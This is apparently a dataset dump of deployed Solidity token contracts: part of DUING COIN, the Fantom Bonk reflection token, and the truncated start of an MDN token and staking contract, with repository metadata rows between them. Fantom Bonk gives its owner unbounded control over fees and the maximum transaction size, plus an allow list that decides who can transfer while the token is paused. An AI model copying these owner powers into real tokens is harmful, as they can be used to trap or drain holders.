_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
function _multiTransfer(address[] memory _to, uint256[] memory _amount) internal {
require(_to.length == _amount.length);
uint256 ui;
uint256 amountSum = 0;
for (ui = 0; ui < _to.length; ui++) {
require(_to[ui] != address(0));
amountSum = amountSum.add(_amount[ui]);
}
require(amountSum <= _balances[msg.sender]);
for (ui = 0; ui < _to.length; ui++) {
_balances[msg.sender] = _balances[msg.sender].sub(_amount[ui]);
_balances[_to[ui]] = _balances[_to[ui]].add(_amount[ui]);
emit Transfer(msg.sender, _to[ui], _amount[ui]);
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract PauserRole is Context {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(_msgSender());
}
modifier onlyPauser() {
require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(_msgSender());
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is Context, PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(_msgSender());
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Mintable is ERC20, MinterRole {
constructor() internal {
_mint(msg.sender, 3700000000000000000000000000);
}
}
// ----------------------------------------------------------------------------
// @title MultiTransfer Token
// @dev Only Admin
// ----------------------------------------------------------------------------
contract MultiTransferToken is ERC20, Ownable {
function multiTransfer(address[] memory _to, uint256[] memory _amount) onlyOwner public returns (bool) {
_multiTransfer(_to, _amount);
return true;
}
}
contract DuingCoin is ERC20Pausable, ERC20Burnable, ERC20Mintable, MultiTransferToken {
string public constant name = "DUING COIN";
string public constant symbol = "DUC";
uint public constant decimals = 18;
// Lock
mapping (address => address) public lockStatus;
event Lock(address _receiver, uint256 _amount);
// Airdrop
mapping (address => uint256) public airDropHistory;
event AirDrop(address _receiver, uint256 _amount);
constructor() public {}
function dropToken(address[] memory receivers, uint256[] memory values) public {
require(receivers.length != 0);
require(receivers.length == values.length);
for (uint256 i = 0; i < receivers.length; i++) {
address receiver = receivers[i];
uint256 amount = values[i];
transfer(receiver, amount);
airDropHistory[receiver] += amount;
emit AirDrop(receiver, amount);
}
}
function timeLockToken(address beneficiary, uint256 amount, uint256 releaseTime) onlyOwner public {
TokenTimelock lockContract = new TokenTimelock(this, beneficiary, releaseTime);
transfer(address(lockContract), amount);
lockStatus[beneficiary] = address(lockContract);
emit Lock(beneficiary, amount);
}
}
| 339,717 | 10,932 |
46382a816715b1a893cfc2ead9098dcd37f8782e17d84adb2a2e638423cdbab6
| 29,497 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/cf/Cff466b2603F0ca35404Da8529aDD3748fD6b996_FantomBonk.sol
| 5,203 | 18,740 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FantomBonk is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Fantom Bonk';
string private constant _symbol = 'fBONK';
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint public max_tx_size = 1000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xF7b91fde8a53bfB7a4953266B0F09c034C3fbf08, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 307,350 | 10,933 |
ec565b991fa1df23317c7690e8f32dc73fb09c6488881a1d8efb3484acc5966b
| 22,770 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x1Eb32A8d16B0c59dcf9C61b797CC45d5D6DF4504/contract.sol
| 5,797 | 21,639 |
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IBEP20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token,
address spender,
uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
'SafeBEP20: approve from non-zero to non-zero allowance');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value,
'SafeBEP20: decreased allowance below zero');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, 'SafeBEP20: low-level call failed');
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), 'SafeBEP20: BEP20 operation did not succeed');
}
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
contract MDNToken is BEP20('MENDOAN', 'MDN') {
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
contract MDNSTAKING is Ownable {
using SafeMath for uint256;
using SafeBEP20 for IBEP20;
struct UserInfo {
uint256 amount;
uint256 rewardDebt;
}
struct PoolInfo {
IBEP20 lpToken;
uint256 allocPoint;
uint256 lastRewardBlock;
uint256 accMDNPerShare;
}
MDNToken public MDN;
address public devaddr;
uint256 public MDNPerBlock;
uint256 public BONUS_MULTIPLIER = 10;
PoolInfo[] public poolInfo;
